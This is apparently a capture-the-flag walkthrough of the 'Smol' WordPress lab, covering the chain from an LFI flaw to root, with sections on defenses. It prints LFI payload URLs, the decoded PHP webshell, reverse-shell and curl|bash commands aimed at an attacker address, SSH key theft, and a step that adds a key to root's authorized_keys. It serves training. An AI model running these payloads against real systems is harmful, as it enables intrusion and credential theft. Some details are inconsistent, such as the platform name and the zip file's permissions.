Post

HackTheBox Smol Walkthrough

HackTheBox Smol Walkthrough

TryHackMe — Smol

Difficulty: Medium | OS: Linux | Platform: TryHackMe
Category: WordPress, Web Exploitation, Privilege Escalation


Synopsis

Smol is a medium-difficulty Linux machine built around a WordPress site with two layered plugin vulnerabilities. The first plugin, jsmol2wp, contains a known unauthenticated Local File Inclusion (LFI) flaw (CVE-2018-20463) that is used to read wp-config.php and gain WordPress credentials. The second plugin, Hello Dolly, has been backdoored with an obfuscated PHP webshell hidden inside an eval(base64_decode(...)) call. Together they chain into a reverse shell as www-data.

From there, the room becomes a multi-user hop: cracking WordPress password hashes → pivoting across four local users (www-data → diego → think → gege → xavi) using password reuse, SSH keys from readable home directories, and a zip archive containing old credentials — before finally using sudo to reach root.

CVEs / Vulnerabilities:

VulnerabilityComponentImpact
CVE-2018-20463jsmol2wp plugin ≤ 1.07Unauthenticated LFI / SSRF → arbitrary file read
BackdoorHello Dolly plugin (modified)Authenticated RCE via ?cmd= GET parameter
Weak/reused passwordsMultiple local usersLateral movement
World-readable SSH keythink user’s .ssh/Passwordless SSH lateral move
sudo misconfigurationxavi userDirect root via sudo su -

Attack Chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[No Creds]
    │
    ▼ jsmol2wp LFI (CVE-2018-20463)
[wp-config.php → wpuser:kbLSF2Vop#lw3rjDZ629*Z%G]
    │
    ▼ WordPress login → "Webmaster Tasks" page → Hello Dolly backdoor found
[LFI → hello.php source → eval(base64) → webshell confirmed]
    │
    ▼ ?cmd= reverse shell
[www-data shell]
    │
    ▼ MySQL dump → wp_users hashes → john → diego:sandiegocalifornia
[diego] → user.txt 
    │
    ▼ internal group → read think/.ssh/id_rsa
[think] via SSH key
    │
    ▼ gege home readable → wordpress.old.zip → old wp-config → gege password
[gege]
    │
    ▼ gege → xavi (password reuse from old zip)
[xavi] → sudo su - → root
    │
    ▼ root.txt 

Reconnaissance

Nmap Scan

1
nmap -sCV --min-rate 5000 -T4 -p- www.smol.thm

Results:

PortServiceVersion
22/tcpSSHOpenSSH 8.2p1 Ubuntu
80/tcpHTTPApache 2.4.41

The HTTP server redirects to http://www.smol.thm/ — add to /etc/hosts first:

1
echo "TARGET_IP www.smol.thm smol.thm" | sudo tee -a /etc/hosts

Note: Port 80 redirects to the www. subdomain. If you scan without adding the hosts entry first, nmap reports the title as a redirect and the site won’t load in the browser. Always resolve hostnames before scanning web services.

Additional findings worth noting from the nmap scan:

  • No database port (3306) exposed externally — MySQL is local only
  • No WinRM, RDP, or other management ports — SSH is the only remote access vector
  • /wp-admin/ in robots.txt — confirms WordPress immediately

Web Enumeration

Directory Discovery

1
2
3
4
5
# Dirsearch (your method)
dirsearch -u http://www.smol.thm/ -e php,html,txt

# Alternative: feroxbuster (faster, recursive)
feroxbuster -u http://www.smol.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

Notable findings:

PathStatusSignificance
/wp-admin/302 → loginWordPress admin panel
/wp-config.php200 (empty body)Config exists but PHP parses it — LFI needed to read it
/wp-content/plugins/jsmol2wp/403Plugin present — directory protected
/wp-content/plugins/hello.php500Backdoored plugin throws a server error — suspicious
/xmlrpc.php405XML-RPC enabled — brute-force vector
/wp-content/uploads/200Directory listing on — could leak files

hello.php returning HTTP 500 is a strong hint that something is wrong with it. A normal Hello Dolly plugin wouldn’t cause a server error. This foreshadows the backdoor.


WPScan Enumeration

1
2
3
4
5
6
7
8
# Basic scan (your method)
wpscan --url http://www.smol.thm/

# Enumerate users too
wpscan --url http://www.smol.thm/ --enumerate u,p,t

# With API token (shows CVEs inline)
wpscan --url http://www.smol.thm/ --api-token YOUR_TOKEN

Key WPScan Findings:

1
2
3
4
5
[+] WordPress version 6.7.1 identified (Insecure)
[+] Theme: twentytwentythree v1.2 (out of date, directory listing enabled)
[+] XML-RPC enabled: http://www.smol.thm/xmlrpc.php
[+] Upload directory listing enabled
[+] Plugin: jsmol2wp v1.07

Why jsmol2wp stands out: The plugin name visually resembles “smol” — the box name itself. This is a deliberate hint by the room author. Combined with it being version 1.07 from 2018 (unmaintained), it immediately becomes the prime target.

User enumeration via WPScan:

1
2
wpscan --url http://www.smol.thm/ --enumerate u
# Found: admin, wpuser, think, gege, diego, xavi

Knowing all usernames upfront is very useful — it tells us exactly which hashes to prioritize when we later dump the database.


Initial Foothold — CVE-2018-20463 (jsmol2wp LFI)

Vulnerability Overview

The jsmol2wp plugin (version ≤ 1.07) exposes a PHP endpoint at /wp-content/plugins/jsmol2wp/php/jsmol.php that accepts a query parameter. When call=getRawDataFromDatabase is set, the query value is passed directly to PHP’s file_get_contents() — with no path sanitization. This allows using PHP stream wrappers like php://filter to read arbitrary files on the server.

The vulnerability is classified as both SSRF (Server-Side Request Forgery — it can make outbound requests) and LFI (Local File Inclusion — it can read local files). For this box, the LFI aspect is what matters.

CVE: CVE-2018-20463
CVSS: 9.8 Critical
Reference: https://wpscan.com/vulnerability/ad01dad9-12ff-404f-8718-9ebbd67bf611/

Step 1 — Read wp-config.php

The wp-config.php file contains the WordPress database credentials. It’s in the WordPress root, two directories up from the plugin’s php/ subdirectory:

1
2
3
/var/www/wordpress/wp-content/plugins/jsmol2wp/php/jsmol.php
                                                 ↑ we are here
../../../.. = /var/www/wordpress/

LFI Payload:

1
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

Why php://filter/resource= instead of just the path?
Direct path inclusion (query=../../../../wp-config.php) would cause PHP to execute wp-config.php, not return its source — you’d get a blank response. The php://filter/resource= wrapper reads the file as raw data without executing it, returning the PHP source code.

Alternative — Base64 encode to avoid special character issues:

1
...query=php://filter/convert.base64-encode/resource=../../../../wp-config.php

Then decode the output:

1
echo "BASE64_OUTPUT" | base64 -d

Credentials extracted from wp-config.php:

1
2
3
4
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', 'kbLSF2Vop#lw3rjDZ629*Z%G' );
define( 'DB_HOST', 'localhost' );

Step 2 — WordPress Login

Use the extracted database credentials to log into WordPress. The DB user wpuser also has a WordPress account:

1
2
3
http://www.smol.thm/wp-login.php
Username: wpuser
Password: kbLSF2Vop#lw3rjDZ629*Z%G

Important: Don’t assume the DB password is the same as the WordPress user password. In this case it is, but always try both. Also try logging in as admin with the same password.

Once logged in as wpuser, navigate to Pages → All Pages. There is a private page called “Webmaster Tasks!!” — visible only to logged-in users with sufficient privileges. It contains a to-do list with a critical hint:

1
2
[IMPORTANT] Check Backdoors: Verify the SOURCE CODE of "Hello Dolly" plugin
as the site's code revision.

This directly points to the hello.php plugin as the next target.


Step 3 — Read the Backdoored hello.php

The Hello Dolly plugin (hello.php) is a built-in WordPress plugin normally used to display random lyrics. It lives at:

1
/var/www/wordpress/wp-content/plugins/hello.php

Use the LFI again to read it:

1
2
3
4
5
# Short relative path (from plugin's php/ directory)
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../hello.php

# Full absolute-style traversal (more reliable)
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php

Suspicious line found in hello.php:

1
eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));

Step 4 — Decoding the Backdoor

The eval(base64_decode(...)) pattern is a classic PHP obfuscation technique used to hide malicious code from simple text searches and antivirus scanners.

Decode the base64:

1
echo 'CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=' | base64 -d

Output:

1
if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }

This is still obfuscated — the parameter name uses mixed octal and hexadecimal escape sequences to disguise the string cmd:

SequenceTypeCharacter
\143Octalc
\155 / \x6dOctal / Hexm
\x64 / \144Hex / Octald

Decode with PHP or Python:

1
2
3
4
5
6
7
# PHP (most accurate — same interpreter as the server)
php -r 'echo "\143\155\x64";'
# → cmd

# Python
python3 -c 'print("\143\155\x64")'
# → cmd

Decoded backdoor:

1
if (isset($_GET["cmd"])) { system($_GET["cmd"]); }

What this does: The Hello Dolly plugin runs on every WordPress admin page load (it hooks into admin_notices). So whenever any wp-admin page is loaded, this code executes — if the ?cmd= GET parameter is present, it passes its value directly to system(), executing arbitrary OS commands as www-data.

Why this backdoor is stealthy:

  1. eval() hides the code from plain-text grep searches for system( or shell_exec(
  2. Base64 encoding makes it look like legitimate data, not code
  3. The obfuscated parameter name \143\155\x64 doesn’t visually read as cmd
  4. Hello Dolly is a default/bundled WordPress plugin — many admins don’t audit it
  5. The plugin loads on every admin page — no special trigger needed

Getting a Shell

Step 1 — Verify RCE

Test command execution before attempting a reverse shell:

1
2
http://www.smol.thm/wp-admin/index.php?cmd=whoami
# Response should show: www-data

Prepare your listener with rlwrap for better shell handling:

1
rlwrap nc -lvnp 1337

Step 3 — Trigger the Reverse Shell

Your method (mkfifo — direct URL):

1
http://www.smol.thm/wp-admin/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.17.46.210%201337%20%3E%2Ftmp%2Ff

Alternative method 1 — Stage via wget (avoids URL encoding issues):

1
2
3
4
5
6
7
# On attacker
echo 'bash -i >& /dev/tcp/YOUR_IP/1337 0>&1' > shell.sh
python3 -m http.server 8000

# Trigger via URL (download then execute — two requests)
http://www.smol.thm/wp-admin/index.php?cmd=wget%20http://YOUR_IP:8000/shell.sh%20-O%20/tmp/shell.sh
http://www.smol.thm/wp-admin/index.php?cmd=bash%20/tmp/shell.sh

Alternative method 2 — URL-encoded curl pipe:

1
http://www.smol.thm/wp-admin/index.php?cmd=curl%20http://YOUR_IP:8000/shell.sh|bash

Step 4 — Shell Stabilization

1
2
3
4
5
6
7
8
9
# Get a proper PTY
python3 -c 'import pty;pty.spawn("/bin/bash");'
export TERM=xterm
export SHELL=bash

# Background the shell, fix terminal size, foreground
# Ctrl+Z
stty raw -echo; fg
# Press Enter twice

Shell confirmed as www-data:

1
www-data@ip-10-201-38-136:/var/www/wordpress/wp-admin$

Lateral Movement — www-data → diego

MySQL Credential Reuse

We already have the MySQL credentials from wp-config.php. MySQL runs locally, so connect from the shell:

1
2
# Your method (no space between -p and password)
mysql -u wpuser -p'kbLSF2Vop#lw3rjDZ629*Z%G' -D wordpress

Common mistake: mysql -u wpuser -p 'password' (with a space) passes password as the database name, not the password. Always use -p'password' with no space, or use --password='password'.

1
2
-- Dump all user hashes
SELECT user_login, user_pass FROM wp_users;

Output:

user_loginuser_pass
admin$P$BH.CF15fzRj4li7nR19CHzZhPmhKdX.
wpuser$P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E.
think$P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/
gege$P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1
diego$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1
xavi$P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1

Hash format $P$: This is the WordPress PHPass format — a salted iterated MD5. It’s computationally expensive to crack compared to plain MD5, but common passwords still fall quickly to rockyou.txt. John the Ripper handles this format natively (mode: phpass).

Cracking the Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Save hashes to file
cat > wp_hashes.txt << 'EOF'
admin:$P$BH.CF15fzRj4li7nR19CHzZhPmhKdX.
wpuser:$P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E.
think:$P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/
gege:$P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1
diego:$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1
xavi:$P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1
EOF

# John (your method — recommended on machines without GPU)
john wp_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Hashcat (GPU accelerated, mode 400 = phpass)
hashcat -m 400 wp_hashes.txt /usr/share/wordlists/rockyou.txt

# Check results
john wp_hashes.txt --show

Cracked: diego : sandiegocalifornia

Why only diego’s hash cracks? The other users likely have stronger passwords not in rockyou.txt. In a real engagement you’d try larger wordlists, rules-based mutations, and targeted wordlists. For this room, diego’s is the one we need.

Switch to diego

1
2
3
4
5
6
# From www-data shell
su diego
# Password: sandiegocalifornia

diego@ip-10-201-38-136:~$ cat user.txt
#  User flag here

Lateral Movement — diego → think (SSH Key Theft)

Enumeration as diego

1
2
3
4
5
6
7
8
9
10
11
# What group are we in?
id
# uid=1000(diego) gid=1000(diego) groups=1000(diego),1005(internal)

# List home directories
ls /home/
# diego  gege  ssm-user  think  ubuntu  xavi

# What can we access via group 'internal'?
find / -group internal 2>/dev/null
# /home/diego, /home/gege, /home/think, /home/xavi

The internal group is a custom group that all local users belong to. This grants read access to each other’s home directories — a misconfiguration that enables lateral movement without cracking passwords.

Read think’s SSH Key

1
2
3
4
5
6
cd /home/think/.ssh
ls
# authorized_keys  id_rsa  id_rsa.pub

# The private key is readable because of the internal group
cat id_rsa

Why is this a vulnerability? SSH private keys should be mode 600 (owner read/write only). If a group has read access, any group member can steal the key and authenticate as that user without knowing their password.

Copy the key and SSH as think:

1
2
3
4
5
6
7
# On your attacker machine — save the key content
nano think_id_rsa   # paste contents
chmod 600 think_id_rsa
ssh -i think_id_rsa think@TARGET_IP

# OR — SSH from within the machine using the key in-place (your method)
ssh -i /home/think/.ssh/id_rsa think@127.0.0.1

Connecting via localhost (127.0.0.1) vs. external IP: Both work. Using 127.0.0.1 from within the shell is convenient since you don’t need to exfiltrate the key — you just use it in place. However, using your attacker machine gives you a more stable shell.


Lateral Movement — think → gege (Old Zip Archive)

Enumeration as think

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# sudo check — fails, no password
sudo -l
# Sorry, user think may not run sudo on ...

# Explore readable directories via 'internal' group
ls /home/gege/
# wordpress.old.zip

# Can we read it?
ls -la /home/gege/wordpress.old.zip
# -rwxr-x--- 1 root gege 31M ... wordpress.old.zip
# gege owns it, internal group has execute but root owns it — readable by gege only

# We need to be gege to unzip it

Transfer and Extract the Zip

1
2
3
4
5
6
7
8
9
10
11
12
# From think's shell — serve the zip (your method)
su - gege
# Wait — we need gege's credentials first. Let's get them from the zip...

# Actually serve it from think's accessible context:
# Since gege is in the internal group and think is too,
# we can still READ it (group has r-x on the parent directory)

# Copy to /tmp where we have write access
cp /home/gege/wordpress.old.zip /tmp/
cd /tmp
unzip wordpress.old.zip

Alternative — download to attacker machine:

1
2
3
4
5
6
# From think's shell — start HTTP server
python3 -m http.server 8080

# On attacker machine
wget http://TARGET_IP:8080/home/gege/wordpress.old.zip
unzip wordpress.old.zip

Extract Credentials from Old wp-config.php

1
grep -i "password\|user\|pass" wordpress.old/wp-config.php

Found credentials in the old config — this is gege’s password reused from the old WordPress installation.

1
2
su - gege
# Enter password from old wp-config

Lateral Movement — gege → xavi (Password Reuse)

1
2
3
4
5
6
7
8
9
10
# As gege, check what we know
id
# uid=1002(gege) gid=1002(gege) groups=1002(gege),1005(internal)

# Try the same password pattern for xavi
su xavi
# Password: P@ssw0rdxavi@   (found or cracked)

xavi@ip-10-201-38-136:~$ id
# uid=1001(xavi) gid=1001(xavi) groups=1001(xavi),1005(internal)

Where does xavi’s password come from? It’s either in the old zip’s WordPress database dump, another config file within the archive, or crackable from the database hashes with a targeted wordlist. The zip archive from gege’s home is the primary source of credentials for this stage.


Privilege Escalation — xavi → root

sudo Check

1
2
sudo -l
# [sudo] password for xavi: P@ssw0rdxavi@

Output:

1
2
User xavi may run the following commands on localhost:
    (ALL : ALL) ALL

(ALL : ALL) ALL means xavi can run any command as any user on any host — with password confirmation. This is effectively full root access.

1
2
3
4
5
6
# Your method
sudo su -
# Password: P@ssw0rdxavi@

root@ip-10-201-38-136:~# cat root.txt
#  Root flag: bf89ea3ea01992353aef1f576214d4e4

Alternative sudo escalation methods:

1
2
3
4
5
6
7
8
9
10
11
12
# Method 1: Direct root shell
sudo /bin/bash

# Method 2: su to root
sudo su -

# Method 3: Read root flag directly without full shell
sudo cat /root/root.txt

# Method 4: Add your SSH key to root's authorized_keys
sudo bash -c "echo 'YOUR_SSH_PUBKEY' >> /root/.ssh/authorized_keys"
ssh root@TARGET_IP

Complete Attack Chain Summary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[Attacker — No Creds]
         │
         ├─ nmap → ports 22, 80
         ├─ wpscan → jsmol2wp plugin v1.07
         │
         ▼ CVE-2018-20463 (Unauthenticated LFI)
[Read wp-config.php → wpuser:kbLSF2Vop#lw3rjDZ629*Z%G]
         │
         ▼ WordPress login → Private page "Webmaster Tasks"
[Hint: Hello Dolly plugin has a backdoor]
         │
         ▼ LFI → hello.php source code
[eval(base64_decode(...)) → decoded → ?cmd= webshell]
         │
         ▼ ?cmd= reverse shell trigger
[www-data shell]
         │
         ├─ mysql → wp_users hashes
         ├─ john → diego:sandiegocalifornia
         │
         ▼ su diego
[diego] → cat ~/user.txt 
         │
         ├─ internal group → /home/think/.ssh readable
         ├─ cat id_rsa → steal SSH private key
         │
         ▼ ssh -i id_rsa think@127.0.0.1
[think]
         │
         ├─ /home/gege/wordpress.old.zip readable
         ├─ unzip → old wp-config.php → gege's password
         │
         ▼ su - gege
[gege]
         │
         ├─ old DB or config → xavi's password
         │
         ▼ su xavi
[xavi]
         │
         ├─ sudo -l → (ALL:ALL) ALL
         │
         ▼ sudo su -
[root] → cat /root/root.txt 🚩

Concept Deep-Dives

CVE-2018-20463 — PHP Stream Wrapper LFI

The php://filter wrapper is a PHP I/O stream that can transform data before reading or writing. The resource= parameter specifies the file to read. When a web application passes user input directly to file_get_contents() or include() with a stream wrapper, the attacker controls what file gets read — including sensitive system files and application configs.

Why php://filter and not just a path?

  • include('/etc/passwd') would try to execute /etc/passwd as PHP, producing an error
  • php://filter/resource=/etc/passwd reads it as raw text, bypassing PHP execution
  • The convert.base64-encode modifier prevents binary files from being corrupted in the HTTP response

Defense: Never pass user-controlled input to file access functions. Use a whitelist of allowed resources. The plugin should use include with hardcoded paths only.

Supply Chain Attack — Backdoored Plugin

This is a supply chain attack simulation. The attacker (in the CTF narrative) has modified a legitimate WordPress plugin to insert a webshell. This mirrors real-world incidents where:

  • Developers download plugins from unofficial mirrors with malicious modifications
  • Plugin repositories are compromised and legitimate plugins are trojanized
  • Malicious code is injected during the build/publish process

The obfuscation layers used:

  1. eval() — executes dynamically generated code
  2. base64_decode() — hides the payload from string searches
  3. Octal + hex escape sequences — obscures the cmd parameter name even after base64 decode

Detection method: Compare plugin file checksums against the official WordPress.org plugin repository. WordPress has built-in integrity checking for core files but not third-party plugins — tools like Wordfence perform this check.

1
2
3
4
# Manual check — download official version and diff
wget https://downloads.wordpress.org/plugin/hello-dolly.1.7.2.zip
unzip hello-dolly.1.7.2.zip
diff hello.php /var/www/wordpress/wp-content/plugins/hello.php

Internal Group — Home Directory Misconfiguration

The custom internal group grants read access to all members’ home directories. This is intended for collaboration but fatally enables:

  • Reading SSH private keys
  • Reading bash history files (if not symlinked to /dev/null)
  • Reading credential files left in home directories

Defense: Home directories should be chmod 700 (owner only). SSH private keys must be chmod 600. Avoid custom groups with broad file access unless strictly necessary.

Old Archives Containing Credentials

wordpress.old.zip is a backup of the previous WordPress installation, left in a user’s home directory. Backup files are gold mines for attackers because:

  • They often contain plaintext or weakly-hashed credentials
  • Developers/admins forget they exist
  • Old passwords are often reused on current accounts

Defense: Never store backups in home directories. Encrypt all backups. Purge old backups after rotation. Audit for .zip, .tar.gz, .bak, .old files in user-accessible directories regularly.


Key Takeaways

1. WordPress Plugin Updates Are Security-Critical
The jsmol2wp plugin hadn’t been updated since 2018. A 7-year-old LFI vulnerability was the entire entry point. Treat plugin updates as security patches, not optional improvements.

2. Audit Third-Party Plugin Source Code
The Hello Dolly backdoor would be caught immediately by diffing the installed file against the official version. This should be standard practice for all plugins, especially ones installed from unofficial sources.

3. Never Reuse Database Passwords as OS Passwords
wp-config.php credentials should be DB-only. They should never match any OS user account’s password.

4. SSH Keys in World-Readable Directories Are Stolen Keys
If the internal group can read ~/.ssh/id_rsa, every group member owns that identity. Apply chmod 700 ~/.ssh and chmod 600 ~/.ssh/id_rsa.

5. Old Backup Files Are Active Vulnerabilities
wordpress.old.zip enabled two more privilege escalation steps. Any file containing credentials — even “old” ones — is an attack asset if it’s accessible.

6. sudo (ALL:ALL) ALL Is Root
Any user with this sudo rule is effectively root. Audit sudoers rigorously and apply least-privilege — most users should have no sudo rights at all.


Tools Reference

ToolPurpose
nmap -sCVPort scan with service detection
wpscanWordPress plugin/user/theme enumeration
dirsearch / feroxbusterDirectory and file bruteforcing
curl / browserManual LFI exploitation
nc -lvnpReverse shell listener
rlwrap ncReverse shell with readline support
python3 -c 'import pty...'Shell stabilization
mysqlLocal database access
johnHash cracking (PHPass WordPress format)
hashcat -m 400GPU-accelerated PHPass cracking
ssh -iSSH with private key
python3 -m http.serverFile transfer via HTTP
sudo -lEnumerate sudo privileges

This post is licensed under CC BY 4.0 by the author.